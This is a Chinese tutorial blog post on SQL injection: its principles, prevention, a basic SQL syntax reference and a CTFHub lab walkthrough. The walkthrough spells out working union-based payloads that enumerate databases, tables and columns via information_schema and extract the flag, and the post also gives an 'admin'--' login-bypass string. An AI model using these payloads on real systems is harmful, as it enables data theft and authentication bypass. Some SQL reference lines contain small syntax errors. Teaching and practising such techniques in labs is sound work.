CTFHub SQL注入(一)

本文详细解释了SQL注入的概念、原理,列举了攻击可能的操作,讨论了防范措施,如使用参数化查询和严格的用户输入验证,并通过实例展示了不同类型的SQL注入及其检测方法。
摘要由CSDN通过智能技术生成

SQL注入的基本概念:

SQL注入(SQL Injection),简称SQLi,是一种代码注入技巧,攻击者将恶意SQL语句插入到应用程序的输入字段中,通过应用程序提交到后台数据库执行。这种攻击利用了应用程序与数据库层之间的安全漏洞,攻击者通过在预期的输入中插入非预期的SQL命令,使得数据库执行了非法的SQL命令。

攻击者借助SQL注入可以实现以下一些操作:

  • 绕过登录验证。
  • 访问、修改、删除数据库中的数据。
  • 执行管理操作,如关机数据库或启动/停止服务。
  • 在数据库服务器上执行命令。

防范SQL注入的措施包括使用参数化查询、预编译语句、存储过程、适当的错误处理以及对用户输入的严格验证和过滤等。了解和防范SQL注入对于保障数据库和用户数据的安全至关重要。

下面以PHP语句为例。

$query = "SELECT * FROM user WHERE id = $_GET['id']";

由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。

SQL注入的原理:

SQL注入的原理是基于Web应用程序中的安全漏洞,攻击者通过向系统提交恶意构造的输入,使得数据库执行非预期的SQL命令。

SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

当传入的ID参数为1时,数据库执行的代码如下所示。

select * from users where id = 1'

这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。

select * from users where id=1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。

当Web应用程序将用户的输入,如表单字段、URL参数或Cookie值,不加检查直接拼接到SQL查询中时,就可能发生SQL注入。如果输入中包含了SQL的部分关键字或特殊字符,就可能改变原本的SQL语句的含义,执行攻击者预期以外的数据库操作。

以下是SQL注入的工作原理:

用户输入:Web应用程序接受用户输入作为数据查询的一部分。

构造查询:应用程序在后台构造一个SQL语句,使用了用户提供的输入。

漏洞利用:如果用户输入没有得到充分的处理和逃逸,特别是包含SQL关键字(如SELECT, DROP, UNION)或特殊字符(如单引号',双引号",注释符--等),那么原始SQL语句可能会被篡改。

数据库执行:篡改后的SQL语句被送到数据库服务器执行。

攻击效果:这可能导致未授权的数据泄露、数据篡改、登陆绕过等安全问题。

例如,考虑一个简单的SQL语句:

SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

如果用户输入的用户名是 admin'--,那么SQL语句将变成:

SELECT * FROM users WHERE username = 'admin'--' AND password = '输入的密码';

这里的--是SQL中的注释符号,其后面的内容将被视作注释,因此这个查询将忽略密码校验,直接返回用户名为“admin”的用户信息,导致安全验证被绕过。

为了防止SQL注入,重要的是永远不要信任用户输入,总是通过参数化查询、适当的转义和过滤用户输入以及使用ORM工具来避免直接在查询中插入用户输入。

在开发Web应用程序时,强烈建议采取各种安全措施,以确保对用户输入进行有效的处理,防止SQL注入攻击。

MySql 语法

基础语法:

1.创建数据库:  CREATE DATABASE database-name

2.删除数据库:  drop database dbname

3.备份sql server

--- 创建 备份数据的 device

    USE master
    EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'

--- 开始 备份

BACKUP DATABASE pubs TO testBack

4.创建新表

create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)

根据已有的表创建新表:
方式一:

create table tab_new like tab_old (使用旧表创建新表)

方式二:

create table tab_new as select col1,col2… from tab_old definition only

5.删除新表:  drop table tabname

6.增加一个列:  Alter table tabname add column col type

注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。

7.添加主键:   Alter table tabname add primary key(col)

8.删除主键:  Alter table tabname drop primary key(col)

9.创建索引:  create [unique] index idxname on tabname(col….)

10.删除索引

drop index idxname

注:索引是不可更改的,想更改必须删除重新建。

11.创建视图:  create view viewname as select statement

12.删除视图:  drop view viewname

说明:几个简单的基本的sql语句

    选择:select * from table1 where 范围
    插入:insert into table1(field1,field2) values(value1,value2)
    删除:delete from table1 where 范围
    更新:update table1 set field1=value1 where 范围
    查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料!
    排序:select * from table1 order by field1,field2 [desc]
    总数:select count as totalcount from table1
    求和:select sum(field1) as sumvalue from table1
    平均:select avg(field1) as avgvalue from table1
    最大:select max(field1) as maxvalue from table1
    最小:select min(field1) as minvalue from table1


说明:几个高级查询运算词
UNION 运算符  :  UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。

EXCEPT 运算符  :  EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。

INTERSECT 运算符  :  INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。


说明:使用外连接
left (outer) join   : 左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
right (outer) join  :  右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
full/cross (outer) join  :  全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。

 
分组:Group by:
.一张表,一旦分组完成后,查询后只能得到组相关的信息。
.组相关的信息:(统计信息) count,sum,max,min,avg 分组的标准)
.在SQLServer中分组时:不能以text,ntext,image类型的字段作为分组依据
.在selecte统计函数中的字段,不能和普通的字段放在一起;

对数据库进行操作:
分离数据库: sp_detach_db; 附加数据库:sp_attach_db 后接表明,附加需要完整的路径名

如何修改数据库的名称:

sp_renamedb 'old_name', 'new_name'

MySQL查询语句

在不知道任何条件时,语句如下所示。

select 查询的字段名 from 库名.表名

在知道一条已知条件时,语句如下所示。

select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果

需要记住的几个函数

·database() 当前网站使用的数据库
·version() 当前MySQL的版本
·user() 当前MySQL的用户

注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/

内联注释
内联注释的形式:
/*!code*/

内联注释可以用于整个sql语句中,用来执行SQL语句

-1 /*!union*/ /*!select*/ 1,2,3

常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

参数类型分类

1. 数字型:

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3

2. 字符型:

字符型注入正好相反

当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

注入手法分类

@   UNION query SQL injection(联合查询注入)
@   Error-based SQL injection(错型注入)
@   Boolean-based blind SQL injection(基于布尔的盲注)
@   Time-based blind SQL injection(基于时间的盲注)
@   Stacked queries SQL injection(可多语句查询注入)

判断是否存在 Sql 注入漏洞

最为经典的单引号判断法
在参数后面加上单引号,比如:

    http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

例题:

CTFHub SQL注入

整数型注入

根据提示说,试试1,输入1试试

再输入框中输入2-1,查询的结果是1,说明存在整数型注入

尝试1 and 1=1和1 and 1=2,and没被过滤

尝试1 or 1=11 or 1=2,or没被过滤

使用order by判断列名

经过测试,可以发现有两列

使用union select判断注入点

知道注入点在2的位置,爆库

爆库成功,知道库名为:sqli,爆表

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)

爆表成功,知道库名为:newsflag,使用flag这个表,爆字段名

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

爆表字段名,知道字段名为flag,使用flag这个字段名,爆字段内容

-1 union select 1,(select flag from sqli.flag limit 0,1)

注入成功,得到flag

字符型注入

看到sql语句为

select * from news where id='1'

那我们尝试一下,1’判断其字符注入

使用#将后面的单引号注释掉

判断and是否被过滤,

1' and 1=1#

判断or是否被过滤

1' or 1=1#

判断列数

1' order by 1,2,3#

报错,减少一个列

1' order by 1,2#

判断注入点

-1' union select 1,2#

爆库

-1' union select 1,database()#

爆表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

爆字段内容

-1' union select 1,(select flag from flag)#

得到flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值